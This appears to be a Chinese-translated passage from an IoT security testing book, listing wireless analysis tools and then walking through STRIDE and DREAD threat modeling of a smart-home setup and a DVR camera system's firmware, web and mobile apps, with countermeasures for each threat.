无线分析工具要求

为了开始嗅探无线技术,需要特定的无线芯片组。在本书中,我们将专注于嗅探来自 ZigBee 和 Z-Wave 协议的流量。无线网卡或 dongle 需要配备特殊软件。这里提供了使用哪种无线网卡和分析软件的建议。

无线分析硬件

以下是将用于分析无线电频率的硬件列表:

  • Atmel RZ Raven USB(KillerBee 框架)

  • Attify Badge(或者,C232HM-DDHSL-0 电缆和 Adafruit FTDI Breakout 的组合)

  • HackRF One

  • Yardstick One

  • 带有 Xbee Shield 的 XBee

  • Ubertooth

  • BLe 适配器

无线分析软件

以下是常见的软件定义无线电分析软件列表。大多数列出的项目将在本书中使用。

  • KillerBee Framework

  • Attify ZigBee Framework

  • GNU Radio

  • BLEAH

  • GQRX

  • Ubertooth 工具

  • Blue Hydra

  • RTL-sdr

  • Hackrf 软件包

  • EZ-Wave

第二章:物联网威胁建模

在本章中,我们将涵盖以下配方:

  • 熟悉威胁建模概念

  • 威胁建模设备的解剖学

  • 威胁建模固件

  • 威胁建模物联网 Web 应用

  • 威胁建模物联网移动应用

  • 威胁建模物联网设备硬件

  • 威胁建模物联网无线通信

介绍

无论您具有软件开发背景还是系统和网络背景,您可能都熟悉各自领域内的攻击面或向量。攻击面指的是设备可以通过输入源受到威胁的多种方式。这个输入源可以是通过硬件、软件或无线方式。一般来说,设备包含的攻击面越多,被威胁的可能性就越高。攻击面是物联网设备的入口点。有时,这些入口点被物联网设备或应用程序本身信任。发现的每个攻击面都将有相关的风险、可能性和影响。实质上,攻击面是可能对设备产生负面影响的威胁,使其执行意外操作。为了发现每个攻击面,需要在测试之前或软件编写之前考虑理论使用案例。这个练习被称为威胁建模。

本章将讨论威胁建模的基本原则以及它如何帮助我们利用物联网设备中的缺陷。将执行有关如何对固件、Web 应用程序、移动应用程序、设备硬件和无线通信进行基本威胁建模的配方,以帮助您正确入门。

虽然本章的配方将为您介绍威胁建模,但关于这个主题已经有几本书写成。如果需要补充阅读以理解威胁建模的概念,务必阅读有关威胁建模的书籍或参考第三方来源。

熟悉威胁建模概念

威胁建模或多或少与软件开发相关,是在软件设计阶段之后但在软件部署之前进行的一种练习。这些练习通常在软件开发、系统、网络和安全团队中进行,这些团队会在主要软件发布时绘制完整的端到端数据流图或数据流和网络图,以确定如何使用安全控制和对策。这些图可以在白板上物理绘制,也可以通过诸如微软免费的威胁建模工具和 Web 应用程序(例如draw.io)等软件工具绘制,这些工具有许多模板图表可用于各种用途。其核心思想是将设备的所有功能和特性映射到其相关的技术依赖关系上。威胁模型的格式如何绘制取决于公司或个人。请记住,威胁模型在逐步更新文档时可以变得非常细化,因为随着功能的增加以及对某种技术的更多了解,威胁也会发生变化。

一旦绘制出物联网设备的攻击面,就必须使用诸如 STRIDE 之类的方法来识别威胁使用案例,这将在后面讨论。这些威胁将需要使用评级系统进行评级,以确定发现威胁的风险。根据行业,有几种威胁评级系统;然而,最常见的是 DREAD 和通用漏洞评分系统CVSS)。

CVSS 提供了一个更精细的评级系统,其中包括 3 组中的 14 个评分区域:基本、临时和环境。这三个组中的每一个都细分为包括基本的六个、临时的三个和环境的五个子区域。CVSS 对于向供应商报告漏洞可能非常有用,但对于威胁建模目的可能不太直观。要了解有关 CVSS 的更多信息,请访问www.first.org/cvss/user-guide

DREAD 评级系统代表以下内容:

  • 损害潜力:如果被利用,损害有多大?

  • 可重现性:攻击有多容易重现?

  • 可利用性:攻击有多容易?

  • 受影响用户:大约有多少用户受到影响?

  • 可发现性:漏洞有多容易被发现?

DREAD 具有从 1 到 3 的风险评级系统。1 是低风险,2 是中等风险,3 是高风险。

以下表格描述了每个评级类别的每个评级数字:

评级 高(3) 中(2) 低(1)
D 损害潜力 可以破坏所有安全控制并获得完全信任,接管整个物联网生态系统。 可能泄露敏感信息。 可能泄露敏感信息。
R 可重现性 攻击总是可重现的。 攻击只能在定时窗口或特定条件内重现。 即使有关漏洞的具体信息,也很难重现攻击。
E 可利用性 新手攻击者可以执行攻击。 熟练的攻击者可以重复进行攻击。 允许具有深入知识的熟练攻击者执行攻击。
A 受影响用户 所有用户,默认配置,所有设备。 影响一些用户,一些设备和自定义配置。 通过模糊功能影响少部分用户和/或设备。
D 可发现性 攻击解释可以很容易在出版物中找到。 影响很少使用的功能,攻击者需要非常有创造力才能发现其恶意用途。 是模糊的,攻击者不太可能发现利用漏洞的方法。

STRIDE 模型将威胁分为六类,以便提出问题来发现可能的威胁。这六种威胁类别源自缩写 STRIDE,描述如下:

  • 欺骗身份:欺骗是试图通过使用虚假身份来获取系统访问权限。这可以通过使用窃取的用户凭据或虚假 IP 地址来实现。在攻击者成功以合法用户或主机身份获得访问权限后,可以开始提升权限或滥用授权。

  • 篡改数据:篡改是未经授权的数据修改,例如在两台计算机之间流动时。

  • 否认:否认是用户(合法或非法)否认他们执行特定操作或交易的能力。如果没有充分的审计,否认攻击很难证明。

  • 信息泄露:信息泄露是私人数据的意外暴露。例如,用户查看他或她未被授权打开的表格或文件的内容,或者监视通过网络以纯文本传递的数据。信息泄露漏洞的一些例子包括使用隐藏的表单字段,嵌入包含数据库连接字符串和连接详细信息的网页注释,以及弱异常处理可能导致内部系统级详细信息被泄露给客户端。攻击者可以利用这些信息中的任何信息。

  • 拒绝服务:拒绝服务是使系统或应用程序不可用的过程。例如,拒绝服务攻击可能通过向服务器发送请求以消耗所有可用系统资源或通过传递格式错误的输入数据来使应用程序进程崩溃来实现。

  • 权限提升:权限提升是指具有有限权限的用户假定特权用户的身份以获得对应用程序的特权访问。例如,具有有限权限的攻击者可能提升他或她的特权级别,以破坏并控制高度特权和受信任的进程或帐户。

有关使用 STRIDE 的更多详细信息,请参阅以下链接:

msdn.microsoft.com/en-us/library/ee823878(v=cs.20).aspx msdn.microsoft.com/en-us/library/ff648641.aspx

微软提供的一种很好的威胁建模方法使用了一个多步骤的过程来确定新应用程序或系统引入的威胁的严重程度。威胁建模过程的步骤如下图所示:

有关微软威胁建模过程的更多阅读,请参阅以下链接:

msdn.microsoft.com/en-us/library/ff648644.aspx

我们将应用 STRIDE 和 DREAD 来从黑盒的角度进行威胁建模练习,并在每个步骤中分解物联网设备的组件。在开始任何类型的安全测试时,最好先进行威胁建模,以确保测试的覆盖范围已经到位。想象所有潜在的威胁可能性并将它们分类作为一种大脑锻炼也是很有趣的。

准备工作

为了在本章中逐步进行威胁建模,我们将利用微软免费的威胁建模工具和从 draw.io 绘制的图表。在撰写本文时,可以从 www.microsoft.com/en-us/download/details.aspx?id=49168 下载微软的威胁建模工具 2016。

如何做...

在这个步骤中,我们将使用微软的威胁建模工具,因为使用它可以很容易地绘制网络图表:

  1. 启动微软的威胁建模工具 2016. 选择“创建模型”选项:

  1. 熟悉工具提供的 Stencils,以展示设备、传输通信以及输入和输出的信任边界。微软在工具下载时提供了不同 Stencils 和选项的用户指南,尽管不是必需阅读:

截至 2016 年版的微软威胁建模工具,可以创建自定义模板和 Stencils 以更准确地相关威胁。

  1. 每个 Stencil 属性都可以根据设备、网络或应用程序进行修改:

  1. 在这个阶段,我们通常会从高层次识别物联网系统的资产,并在通过研究或逆向工程获得更多了解设备的知识后,再对感兴趣的领域进行深入研究。资产的识别可以以表格格式或通过可视化头脑风暴来书写。以下表格显示了资产的基本清单和每个资产的简要描述:
ID 资产 描述
1 门铃 智能门铃监视运动,向用户发出警报,并通过应用程序提供实时摄像头视频。数据存储在门铃本身以及应用程序界面上。如果用户在网络中本地查看摄像头视频,门铃可以通过 P2P 与 SIP/RTP 连接,或者连接到使用 STUN/TURN 服务器的应用程序,以无需打开路由器端口即可访问摄像头视频。所有数据都传输到路由器以进行远程访问。
2 LED 灯泡 LED 灯泡通过 Zigbee 传输数据到物联网中心,以便通过 Wi-Fi 进行通信。LED 灯泡可以通过物联网中心或应用程序界面进行控制。
3 移动应用程序 移动应用程序控制网络中的各种设备。这些移动应用程序可以直接由设备制造商或物联网中心供应商创建。设备配置数据和密钥可能存储在移动应用程序中。数据通过 API 或 Web 服务传输到设备或后端系统。
4 物联网中心 物联网中心将所有协议聚合到一个设备中,以便进行简化管理。用户可以通过物联网中心的应用程序界面控制设备。物联网中心可以通过无线连接到路由器,也可以通过以太网插入连接。物联网中心存储配置数据,并可能将数据外部发送到后端系统进行处理。
5 路由器 所有网络通信都由路由器处理。路由器可以阻止外部访问设备,也可以让流量通过。
  1. 以下图示展示了一个智能家居环境的概述图,其中包括智能门铃、LED 灯泡、移动应用程序和物联网中心:

所描述的示例步骤只是威胁建模练习的开始。我们讨论了下载微软的威胁模型工具,并熟悉了图形符号及其相关属性。然后,我们开始识别智能家居环境的资产,并根据研究或逆向工程形式提供简要描述。接下来,给出了一个示例架构图,以可视化识别的资产。我们的下一步将是威胁建模的核心,将帮助分解 IoT 系统的每个部分,以帮助识别攻击点、方法和如果 IoT 系统的一部分被利用的影响。与安全的许多方面一样,您对计划测试的平台越熟悉,被攻击的可能性就越高。

威胁建模物联网设备的解剖学

2016 年,我们目睹了由 IP 摄像头和数字视频录像机(DVR)组成的大规模 IoT 设备的大规模利用,这导致了有史以来最大的分布式拒绝服务(DDoS)。这次 DDoS 是由于供应商的疏忽造成的,这本可以通过基本的威胁模型练习来防止。考虑到这些类型的设备在互联网上的普遍存在以及它们对互联网的风险,我们将进行威胁建模练习,并走过连接的 DVR IP 摄像头安全系统的威胁建模过程。这些连接的安全系统可以通过电子商务网站以及许多电子商店以相对较低的价格购买。连接的 DVR 是 IoT 系统的一个很好的例子,因为它们包含许多进入设备的入口,以便查看摄像头视频,并可以连接到第三方提供商以利用远程查看而无需在您的网络上打开端口。从黑盒的角度收集有关 IoT 设备及其应用程序的详细信息可能有些棘手。然而,可能有很多在线产品资源可用于帮助进行这项练习。

如何做...

要开始威胁建模连接的 DVR,我们将遵循前面提到的微软多步骤威胁建模方法。

步骤 1 - 识别资产

记录 DVR 的所有资产,以了解在时间利益上更可能的攻击焦点。如果我们能够识别包含公共漏洞的资产,那么在利用 DVR 系统时,这将节省我们时间。通过阅读盒子背面和用户手册来安装设备时,以下表格描述了我们对 DVR 资产的了解:

ID 资产 描述
1 DVR DVR 包含多个摄像头通道,可查看实时源,回放以前的源,录制视频和拍摄摄像头图片。DVR 可以连接到 IP 摄像头或有线 BNC 电缆摄像头。支持多种已知的网络协议和专有协议,如 TCP/IP,PPPoE,DHCP,Hik-connect Cloud P2P,DNS,DDNS,NTP,SADP,SMTP,NFS,iSCSI,UPnP 和 HTTPS。DVR 具有连接到多个应用程序接口查看摄像头源的能力。
2 摄像头 视频流由启用的 IP 摄像头和/或 BNC 电缆摄像头捕获,数据直接传输到 DVR 或通过无线方式传输。
3 固件 通过固件控制各种摄像头功能和配置选项。
4 Web 应用 DVR 包含一个本地 Web 服务器,可以通过在 Web 浏览器中访问 IP 地址来访问。要通过本地 Web 应用程序查看视频源,必须使用支持的浏览器下载插件。在配置设备时,设备可以通过供应商的云 SaaS 平台查看视频源。需要单独的用户名和密码才能启用供应商的云 SaaS 平台。SaaS 平台为第三方添加了额外的共享功能,并可以访问同一所有者可能购买的其他 DVR。
5 移动应用 可用于配置各种设置以及远程查看和保存视频源的 Android 和 iOS 应用程序。所有移动应用程序的流量都通过供应商的 API 发送到移动设备的网络连接。移动应用程序连接到供应商的云环境以渲染摄像头源。需要用户名和密码才能通过移动应用程序访问摄像头系统。
6 厚应用 可以安装 Windows 和 OS X 安装程序来查看摄像头源并配置各种设置。
7 设备硬件 DVR 硬件包含多个 VGA 和 HDMI 视频输出。设备通过以太网电缆连接到本地网络。对于存储,设备具有一个 SATA 连接器,可容纳高达 6TB 的硬盘。
8 无线通信 DVR 通过 BNC 连接器或 IP 连接到摄像头。不使用无线通信;但是,所有移动应用程序的流量都通过无线通信传输。

步骤 2 - 创建物联网设备架构概述

创建架构概述有助于可视化我们如何攻击 DVR 以错误使用系统。在创建物联网设备架构概述时,我们的目标是记录 DVR 的功能及其应用程序以及从我们已经收集或在过程中学到的数据中的物理架构。我们希望发现 DVR 设计和实施中的缺陷。这还包括识别不同的技术。让我们分解如何创建架构概述为三个任务:

  • 记录 DVR 功能和特性

  • 创建一个详细的 DVR 生态系统的架构图

  • 识别正在使用的技术

要开始记录 DVR 功能和特性,让我们创建一些用例。

用例 1:用户通过本地 Web 应用程序在其本地网络中查看摄像头源

  1. 用户安装 DVR 和摄像头。

  2. 用户创建一个用户。

  3. 用户配置 DVR 和摄像头设置。

  4. 用户然后将以太网连接到 DVR 以进行网络连接。

  5. 用户记录 DVR IP 地址。

  6. 用户然后安装供应商提供的插件和软件。

  7. 用户通过 Web 浏览器登录 DVR。

  8. 用户选择适当的摄像头查看其视频。

用例 2:用户通过移动应用程序远程查看摄像头视频

  1. 用户配置平台访问供应商 SaaS 的设置。

  2. 用户下载并安装 Android 或 iOS 应用程序。

  3. 用户在安装时为供应商的 SaaS 应用程序创建一个单独的用户。

  4. 用户登录移动应用程序。

  5. 用户使用移动应用程序在 DVR 下扫描条形码进行供应商验证。

  6. 用户选择适当的摄像头查看其视频。

前述列出的用例的以下架构图提供了 DVR 生态系统组件的详细信息:

一旦绘制了架构图,就需要识别和检查不同的技术。某些操作系统、协议和低级库具有固有的漏洞。重要的是记录所使用的技术,以进一步分析和定义可能的威胁案例:

技术 详情
DVR 嵌入式 Linux 3.10.0;通过 HTTP 和 TCP/IP 通信;自定义 Web 服务器(DNVRS-Webs);内部和外部存储选项。
无线(Wi-Fi)路由器 2.4 GHz Wi-Fi;100 米范围。
移动应用程序 Android 和 iOS 应用程序连接到第三方服务,用于查看摄像头视频。数据可以选择在设备上本地存储图片和用户凭据。
通信协议:HTTP 默认情况下查看摄像头视频时使用的明文协议。
通信协议:HTTPS 查看摄像头视频时进行加密通信,但需要在通过 Web 界面生成 SSL 证书后手动配置。
通信协议:802.11 Wi-Fi IP 摄像头和 DVR 之间通信的 RF 协议。
通信协议:RTSP 用于将摄像头视频流式传输到应用程序的网络协议。

第 3 步 - 分解物联网设备

接下来,我们将分析应用程序和协议数据流通过 DVR 环境,以找到设备或客户端应用程序的易受攻击的入口点。我们将寻找可能具有更高特权访问的位置,并记录每个可能的入口点。一个危害 DVR 机密性和完整性的入口点将使我们作为攻击者占据上风。

这些入口点将根据所使用的平台、技术和协议而变化,但在本节中,我们将保持在较高水平。还要检查技术和功能之间的各种信任边界。一旦分解 DVR 架构完成,您应该对攻击面有更好的了解,以及数据可能如何被威胁。

以下图表是分解物联网 DVR 环境数据流的示例:

在映射数据流并完成后,进行入口点的文档记录:

DVR 入口点
入口点 描述
1 嵌入式 Web 应用程序 嵌入式 Web 应用程序提供了一个界面,用于查看摄像头视频并对摄像头细节、配置以及用于监控的网络细节进行更改,如 SNMP。嵌入式 Web 应用程序使用 SOAP/XML Web 服务通过 HTTP 进行传输通信,但可以通过在配置菜单中创建自签名证书来使用 HTTPS。为了查看摄像头视频,需要下载一个可执行文件,在可执行文件中,需要在 Internet Explorer 中安装一个 ActiveX 插件。注意:Internet Explorer(IE)之外的浏览器无法查看摄像头视频。
2 供应商 Web 应用 DVR 与供应商拥有的 STUN/TURN 服务器建立连接,以便在不打开路由器端口的情况下流式传输摄像头视频。供应商应用仅通过 HTTPS 可用,并使用 Web 套接字进行通信。
3 DVR DVR 连接到多个 Web 应用程序和移动应用程序。嵌入式 Web 应用程序是 DVR 本身的服务器,供应商的 SaaS 应用程序连接到 DVR。同样,供应商有一个可用的移动应用程序,但也有另一个原始制造商为 DVR 提供的第三方移动应用程序(通过代理发现)。DVR 还通过硬件外围设备和主 PCB 进行输入。
4 固件 DVR 利用固件来控制设备,但可能只能通过供应商技术支持(根据文档)获得。嵌入式 Web 服务器利用固件进行管理操作。
5 摄像头 可以通过将其 IP 地址添加到 DVR 配置页面来将摄像头添加到 DVR。摄像头也可以通过手动插入具有 BNC 连接器的摄像头来添加。
6 移动应用程序 可以下载多个移动应用程序。每个移动应用程序都可以对 DVR 和摄像头进行配置更改。使用移动应用程序需要凭据。所有流量都被传送到供应商环境以查看摄像头详情和视频。
7 无线通信 移动应用程序的通信流量通过无线技术进行,可以是 802.11 或蜂窝网络(4G)。

步骤 4 - 辨识威胁

在这个阶段,我们已经绘制出了 DVR 系统的数据流,并确定了入口点。现在我们必须确定每个入口点的风险,因为它涉及用户、网络和应用程序,以及编写应用程序代码的供应商。从攻击者的角度来看,我们希望确定影响网络、应用程序和主机的威胁,这些威胁可能是可利用的,并造成以下影响:

  • 影响使用这个特定 DVR 系统的大量用户

  • 妥协供应商基础设施以引发大规模利用

  • 妥协 DVR 以对用户构成隐私风险

  • 妥协 DVR 以对 DVR 所有者构成安全风险

为了帮助辨识威胁并对其进行分类,让我们将 STRIDE 模型应用于我们的 DVR 物联网系统。在下表中,我们将添加一些威胁类型,以代替物联网特定问题。这张表并不是详尽无遗的,但应该有助于思考可能影响整体 DVR 环境的威胁时提供一些想法:

威胁类型 分析
冒充身份 检查系统中与冒充 DVR 身份相关的威胁,以及攻击者克服设备之间自动信任关系的能力。寻找允许设备或用户在 DVR 配置过程中操纵信任关系的入口点。分析 DVR 应用程序接口的身份验证和授权功能。检查 DVR 应用程序通信是否具有伪造请求的能力。
数据篡改 检查 DVR 应用程序和设备之间的消息通信。识别 DVR 中提供数据篡改机会的点,包括数据收集、处理、传输和存储的环节。尝试篡改固件和移动应用程序配置,执行未经授权的操作。
否认 辨识允许进行非法操作而无需记录能力的攻击入口点。禁用 Web 和移动应用程序的跟踪功能。
信息泄露 模糊应用程序参数以影响应用程序错误披露。识别所有明文通信。检查 DVR API 通信的 HTTP 响应头以获取版本信息。识别所有 API 端点和应用程序后端使用的技术。检查应用程序数据存储中是否存在明文文件中的意外数据泄露。
拒绝服务 执行诸如忘记密码之类的功能,以确定是否可能锁定用户。测试每个 DVR 应用程序界面中的帐户锁定策略。检查 DVR 网络服务的吞吐量,以了解攻击可能如何抵御相关的 DoS 攻击。检查消息结构(例如,数据总线)、数据结构、变量和 DVR 组件中使用的 API 的不当使用,并确定是否存在漏洞,使恶意摄像头可以淹没合法摄像头或兼容的 DVR 设备的传输。
特权提升 检查 DVR 提供的管理功能。创建较低的应用程序用户并测试管理访问。识别 DVR 应用程序和操作系统中无法将管理功能与用户级功能分隔开的弱点。识别 DVR 节点所采用的身份验证方法的弱点,以便设计适当的身份验证控件到系统中。
物理安全绕过 检查 DVR 及其摄像头提供的物理保护机制,以识别可能允许管理控制台访问的弱点。
供应链问题 了解组成 DVR 系统的各种技术组件及其来源(例如,ODM、硬件制造商、OEM 等)。跟踪与 DVR 硬件和软件组件相关的任何技术层面的漏洞。

或者,我们可以简单地列出高层次的威胁,然后在本章后面,我们将深入研究每个组件的威胁。一些威胁可能是未知的或完全理论的,因为我们可能没有所有的见解,但重要的是要进行头脑风暴。为了更好地识别威胁,可以与伙伴配对或与其他人一起进行小组练习,他们正在攻击您感兴趣的特定物联网系统。以下是我们 DVR 系统的高级威胁的示例,攻击者可能执行的:

  • 远程接管 DVR 系统

  • 未经授权远程查看摄像头视频(间谍)

  • 关闭摄像头录制回放功能

  • 跟踪个人

  • 根据情报收集闯入周围区域

  • 在 DVR 上安装恶意软件

  • 获得物理访问并破坏录音

  • 用请求超载 DVR 以阻止使用

  • 窃听 DVR 通信

第 5 步 - 记录威胁

接下来,我们将记录我们在第 4 步中识别的一些威胁用例,包括描述、威胁目标、攻击技术和可能存在的任何对策。

威胁#1

威胁描述 攻击者可能远程接管 DVR 系统
威胁目标 DVR 客户、DVR 网络进程、DVR 应用程序。
攻击技术 攻击者拦截无线通信,API 通信和/或网络协议通信以获取凭据或会话 cookie。攻击者可以通过欺骗用户访问其 DVR,通过欺骗用户界面或利用应用程序漏洞使用跨站点请求伪造(CSRF)添加用户帐户。
对策 如果尝试登录失败或同时发送太多请求,DVR 将锁定用户 30 分钟。

威胁#2

威胁描述 攻击者可能未经授权远程查看摄像头视频
威胁目标 DVR 客户、协议和应用程序。
攻击技术 获取凭据或 API 调用以在未经身份验证的情况下查看摄像头。攻击者可以获取会话标识符以劫持会话,从而实现远程查看摄像头视频。攻击者可以通过社会工程学诱使用户访问其 DVR 视频。攻击者可以利用易受攻击的明文 RTSP 流使用诸如 Cameradar(hub.docker.com/r/ullaakut/cameradar/)之类的工具访问视频源。
对策 强制执行多因素身份验证,并使用加密的 RTSP 或 SRTP 流。

威胁#3

威胁描述 攻击者可能关闭录制回放功能
威胁目标 DVR 客户。
攻击技术 攻击者可以物理访问 DVR 系统以应用更改。攻击者可以通过社会工程使用户访问其 DVR。
对策 对敏感功能进行身份验证,以及多因素身份验证。

步骤 6 - 对威胁进行评级

既然我们已经确定并记录了 DVR 的威胁,让我们使用 DREAD 评级系统对威胁进行评级,以及它们可能的影响。在本章的前面,我们介绍了 DREAD 评级系统,但需要注意的是,还有其他可用的评级系统。DREAD 中每个字母的评级值范围为高 3,中 2,低 1。

对于 DREAD,最终风险是使用以下评级进行排名的:

风险评级 结果
12-15
中等 8-11
5-7

我们的 DVR 系统中威胁案例的威胁评级示例如下:

威胁风险评级:攻击者可能未经授权远程查看摄像头视频
项目 分数
损害潜力 3
可重现性 2
可利用性 3
受影响的用户 2
可发现性 3
风险评级分数:高 13

最初,对整体 DVR 系统进行威胁建模可能会更加困难,因为需要考虑所有不同的组件的威胁案例。尽管如此,一旦完成,您将已记录了许多潜在的高风险漏洞,以便进行测试时专注于重点。这将使得在测试物联网系统时更容易优先处理漏洞。

威胁建模固件

在上一节中,我们对 DVR 系统进行了威胁建模,并对一个威胁案例进行了评级,这有助于优先处理要测试的漏洞。在本节中,我们将对相同的 DVR 系统的固件进行威胁建模。

准备工作

在这个练习中,我们将使用免费的draw.io在线图表软件来帮助演示固件内的图表关系。这个工具是一个 Chrome 应用,与 Google Drive 或 GitHub 等第三方服务进行存储。我们可以绘制重叠的关系和流程,这在 Microsoft 工具中是不可能的。任何能够有效绘制目标设备或软件的架构及其相应关系的工具都可以。

要开始绘制图表,请执行以下步骤:

  1. 选择创建新图表。

  2. 选择软件设计。

  3. 选择部署图表模板,如下面的屏幕截图所示:

  1. 删除模板中所有未使用的图表,只留下一个矩形用于固件及其内部组件。

  2. 将资产拖放到图表中以显示它们的关系。

如何做...

对于固件,我们可以通过设备包装、基本端口扫描或各种在线资源来确定正在运行的操作系统的类型。我们应该对嵌入式物联网设备上的固件功能有一个大致的了解,如第一章中所讨论的。本节不会像前面的内容那样详细,但我们仍然希望确定我们对固件的所有了解,并绘制其组件以确定测试的潜在威胁。我们将合并一些威胁建模步骤以简洁起见。

步骤 1 - 确定资产

根据我们对固件和 DVR 提供的服务的了解,让我们使用以下表格来记录一些固件资产:

ID 资产 描述
1 Web 服务器 固件为本地 Web 应用提供服务,用于查看摄像头视频和管理摄像头。
2 SSH DVR 在端口 22 上监听 shell 访问。
3 RTSP 摄像头视频流使用 RTSP 进行查看。
4 UPnP UPnP 可用于管理设备的配置。
5 DNS 本地 DNS 服务器用于远程查看。

步骤 2 和 3 - 创建架构概述和分解

我们大致了解了固件组件和可能使用的库,这些库与 DVR 的服务相关。可以绘制以下概述图,显示设备、固件内容以及文件系统之间的关系:

步骤 4 - 识别威胁

现在让我们根据我们的图表和对固件内容的了解来记录威胁。请记住,在这个阶段我们还没有对固件图像进行反汇编或定位。图表的内容是基于 DVR 宣传的服务和在线文档的假设。以下是攻击者可能利用的固件的可能威胁:

  • 在网络服务上执行远程代码执行

  • 获得对文件系统的管理员访问权并攻击局域网

  • 拦截网络通信

  • 通过 SSH 访问文件系统资源

  • 控制 DNS 以将流量重定向到受害者网络/计算机

  • 访问 Web 配置和固件中可能的秘密

  • 在 DVR 上安装恶意固件或应用程序

  • 跟踪用户活动

  • 篡改摄像头视频流和内容

  • 篡改审计日志

  • 变砖 DVR

  • 阻止所有网络连接到 DVR

步骤 5 - 记录威胁

接下来,我们将挑选几个威胁案例,并记录它们的描述、威胁目标、攻击技术和可能存在的任何对策,以便评估它们的风险。

威胁#1

威胁描述 攻击者可以在网络服务上执行远程代码执行
威胁目标 DVR 固件。
攻击技术 攻击者发现 DVR API 通信中的漏洞。
对策 DVR 在其 API 中设置了速率限制保护。

威胁#2

威胁描述 攻击者可能获得对文件系统的管理员访问权并攻击局域网
威胁目标 DVR 固件。
攻击技术 攻击者可以通过 SSH 或 Telnet 启用对控制台的访问。攻击者可以发现缓冲区溢出以访问文件系统内容并利用后期利用技术。攻击者发现 DVR 使用的库中的已知漏洞。
对策 DVR 强制执行自动更新功能,防止启用易受攻击的库和服务。

威胁#3

威胁描述 攻击者可能在 DVR 上安装恶意固件或应用程序
威胁目标 DVR 固件。
攻击技术 攻击者可以在固件更新时加载恶意固件。
对策 DVR 应该对其固件图像进行签名,并在重启时进行验证。

步骤 6 - 对威胁进行评级

就像我们在上一个步骤中所做的那样,我们需要使用 DREAD 对每个可能的威胁进行评分。使用以下表格,我们将选择一个威胁并找出其风险评级:

威胁风险评级:攻击者可能获得对文件系统的管理员访问权并攻击局域网
项目 得分
损害潜力 3
可重现性 2
利用性 2
受影响的用户 3
可发现性 2
风险评分:高 12

大多数嵌入式设备操作系统通常以 root 或管理员身份运行。这意味着通过设备固件可能被利用的任何漏洞都应该给您所需的最高访问权限。没有必要进行特权升级。更受监管的行业可能会推迟,但如果您正在测试消费者设备,固件很可能已经以 root 身份运行。

对物联网 Web 应用程序进行威胁建模

在为我们的 DVR 进行威胁建模练习时,我们将继续分解其 Web 应用程序。我们的 DVR 包含两种类型的 Web 应用程序。一个 Web 应用程序是嵌入式的,从 DVR 本身运行。第二个 Web 应用程序是供应商提供的用于远程访问 DVR 及其摄像头视频的 SaaS 应用程序。

SaaS 应用程序访问局域网中的嵌入式 DVR。我们对在 DVR 上本地运行的嵌入式 Web 应用程序有更清晰的了解,而对供应商 SaaS 应用程序了解较少。在本章的前面,我们提到了供应商 Web 应用程序使用的一些技术,但目前没有其他信息。我们将从绘制嵌入式 Web 应用程序的架构开始,并在威胁部分涉及供应商 SaaS 应用程序,而不是绘制其未知的架构。

如何做…

此时,我们应该对如何从头到尾进行威胁建模有一个很好的想法。考虑到这一点,我们将跳过威胁建模过程中的一些步骤,转向一些更重要的方面。

第 1 步:创建架构概述和分解

正如前面提到的,我们将绘制我们对嵌入式 Web 应用程序的了解,并致力于识别和评估其架构数据流中的威胁。以下图表说明了嵌入式 Web 应用程序的一些基本功能:

应用程序的流程很简单,因为流量只停留在局域网中,不会到达面向公众的流量。识别嵌入式应用程序的威胁不应该太困难。

第 2 步:识别威胁

由于嵌入式 Web 应用程序内的数据流具有简单性质,记录威胁应该很容易,尽管我们将添加一些额外的情景以考虑供应商 SaaS Web 应用程序。

攻击者可以利用 DVR 嵌入式 Web 应用程序和/或供应商 SaaS 应用程序来执行以下操作:

  • 劫持用户会话以查看摄像头视频和配置

  • 窃听 API 调用

  • 通过命令注入漏洞执行操作系统命令

  • 暴露敏感用户详细信息

  • 通过 SQL 注入转储数据库内容

  • 执行任意脚本

  • 访问其他用户账户

  • 伪造已登录用户账户下的请求(CSRF)

  • 修改 DVR 设置以将流量重定向到未经授权的用户或网络

  • 跟踪用户

  • 暴露摄像头回放视频

  • 删除摄像头回放视频

  • 利用供应商环境的 Web 或应用程序服务器中的漏洞

  • 防止合法用户访问

第 3 步:记录威胁

接下来,我们将选择类似于以前的案例的威胁案例,并记录它们的威胁案例描述、威胁目标、攻击技术和可能存在的任何对策,以评估它们各自的风险。

威胁#1

威胁描述 攻击者可能通过命令注入漏洞执行操作系统命令
威胁目标 嵌入式和供应商 Web 应用程序。
攻击技术 攻击者发现 DVR 和供应商 API 通信中的漏洞,因为输入验证不严格。攻击者创建在应用程序上下文中运行的代码。攻击者通过将自定义代码注入应用程序来访问后端系统。
对策 应用程序执行输入验证和上下文输出编码。

威胁#2

威胁描述 攻击者可能伪造已登录用户账户下的请求(CSRF)
威胁目标 嵌入式和供应商 Web 应用程序。
攻击技术 攻击者识别了一个易受攻击的 HTML 表单,并创建了代码来伪造已登录用户的请求更改。这些更改可能包括向第三方添加或共享用户账户。
对策 为改变应用程序状态的敏感 HTML 表单实施反 CSRF 令牌。

威胁#3

威胁描述 攻击者可能通过 SQL 注入转储数据库内容
威胁目标 供应商 Web 应用程序。
攻击技术 攻击者将 SQL 命令附加或连接到用于查询数据库的易受攻击参数。
对策 应验证用户输入,并对查询进行参数化或使用存储过程来访问数据库。

步骤 4:评估威胁

使用以下表格,我们将选择一个威胁并找出其风险评级:

威胁风险评级:攻击者可能通过 SQL 注入转储数据库内容
项目 分数
损害潜力 3
可重现性 3
可利用性 2
受影响的用户:3
可发现性 2
风险评级分数:高 13

显然,利用供应商的 SaaS 应用程序中的漏洞会有更大的回报,因为有大量用户的详细信息和额外的功能可用。但是,重要的是要在法律范围内并获得授权后进行测试。针对嵌入式 Web 应用程序可能一开始并不会有太大的回报,但一旦对设备在线使用进行了调查并发现了可远程利用的漏洞,就肯定是可能的。

威胁建模 IoT 移动应用程序

在我们的下一个威胁建模练习中,我们将检查 DVR 系统的 IoT 移动应用程序。这个 DVR 系统(像许多其他 IoT 系统一样)由经销商和不同的 OEM 开发了几个可用的移动应用程序。为了演示目的,我们将只对一个 Android 和一个 iOS 应用程序进行威胁建模。

如何做…

由于我们已经从以前的配方中创建了大部分数据流图,我们将继续使用相同的 Microsoft 威胁建模工具进行此配方。

步骤 1:创建架构概述和分解

与我们上几个配方类似,我们将立即创建一个包含移动应用程序所有已知资产的数据流图。以下是移动应用程序的数据流图:

我们可以看到应用程序每次都会联系第三方供应商的云环境,以查看帐户详细信息和摄像头回放。当用户与 DVR 处于同一网络时也会发生这种情况。远程访问 DVR 需要用户名和密码,这也存储在移动设备中。在这一点上,我们不知道在与供应商后端系统通信时如何存储或发送这些数据。这引出了我们的下一步,识别威胁。

步骤 2:识别威胁

